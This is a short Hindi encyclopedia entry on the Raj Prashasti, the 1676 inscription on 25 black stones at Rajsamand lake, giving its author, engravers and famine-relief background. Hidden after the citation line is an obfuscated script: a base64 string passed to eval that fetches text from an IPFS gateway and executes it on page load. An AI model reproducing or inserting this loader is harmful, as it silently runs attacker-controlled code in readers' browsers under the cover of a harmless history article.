राज प्रशस्ति  

राज प्रशस्ति (1676 ई.)

  • यह प्रशस्ति कुल 25 श्याम रंग के पाषाणों पर उत्कीर्ण है। ये पाषाण पट्टिकाएँ नौ चौकी की पाल में लगी हुई हैं। इसको महाकाव्य की संज्ञा दी गई है।
  • इस प्रशस्ति का रचयिता रणछोड़ भट्ट था, जो तैलंग ब्राह्मण था।
  • राज प्रशस्ति से पता चलता है कि राजसमुद्र का निर्माण दुष्काल के समय श्रमिकों के लिए काम निकालने के लिए कराया गया था और उसे बनाने में पूरे 14 वर्ष लगे थे।
  • प्रशस्ति के उत्कीर्णकर्ता गजधर मुकुंद, अर्जुन, सुखदेव, केशव, सुन्दर, लालो, लखो आदि थे जिन्होंने सुन्दर और शुद्ध रूप में उसे तैयार किया था।[१]


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टीका टिप्पणी और संदर्भ

  1. राजस्थान के अभिलेख (हिंदी) rajgk.in। अभिगमन तिथि: 15 दिसम्बर, 2021।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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